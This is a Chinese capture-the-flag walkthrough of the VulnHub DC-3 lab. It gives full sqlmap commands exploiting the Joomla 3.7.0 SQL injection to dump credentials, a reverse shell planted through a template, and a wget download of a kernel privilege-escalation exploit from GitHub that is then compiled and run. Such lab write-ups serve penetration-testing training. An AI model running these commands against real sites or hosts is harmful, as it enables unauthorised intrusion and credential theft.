vulnhub dc3 靶场实战
靶场地址:https://download.vulnhub.com/dc/DC-3.zip
信息收集
首先还是扫描一下ip
得到IP为:192.168.123.132
再扫描一下服务、端口等信息,做信息收集
80端口开发,自然要访问一下
再看看是什么类型的系统呢,whatweb走一波
发现是joomla系统,然后再用msf确定一下版本
最终确定是 joomla 3.7.0
然后使用searchsploit搜索,发现有两个漏洞
看一下注入代码
自己构造一下
爆破数据库
先爆破一下数据库
1 | sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] |
爆破出了5个数据库
看看现在网站所使用的是哪个数据库
1 | sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering] |
确认出当前数据库为:joomladb
那接着继续爆破 joomladb 这个数据库下的表
1 | sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] |
总共爆破出76个表
然后根据猜测,用户信息应该保存在 #__users 表中
接着爆破尝试一下,看看这个表有哪些列
1 | sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering] |
爆破出这个表有5列
查看列中的内容
1 | sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,password,username --dump -p list[fullordering] |
出来了一个admin用户
把这个密码跑一下
解密后明文为:snoopy
尝试登录
发现没什么信息,那么就尝试后台登录看看
dirb跑一下后台
写反弹shell
登录进来了
发现在Extensions/Templates下的Templates下可以创建文章,那么我就来写一个反弹shell
注意创建文章的位置,然后自己构造访问的路径
构造访问路径
1 | http://192.168.123.132/templates/beez3/html/com_content/article/shell2.php |
用 nc监听一下4455端口
提权
尝试无密码提权看看
1 | sudo -l |
提权失败
尝试利用find提权
1 | touch abc |
也失败了
看了一下内核、版本等信息
1 | uanme -a |
确认系统为Ubuntu 16.04
搜索一下POC
1 | searchploit ubuntu 16.04 |
这个漏洞可以提权
1 | Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps linux/dos/39773.txt |
exploit-db.com 搜索一下,拿到github链接
wget下载下来
1 | wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39773.zip |
在这里主要注意,可能因为网络的原因下载不下来,我是下载到自己的本地,再通过蚁剑连接后上传上去的
接下来就是解压,然后执行
1 | sh compile.sh |
提权成功
flag在root目录下
总结:
在写反弹shell的时候找可以写入的地方,写了好几个shell最终没有执行成功,在最终在templates里才找到位置写入成功,要细心一点
本次提权的关键点是在使用searchploit搜索出了可成功执行利用的漏洞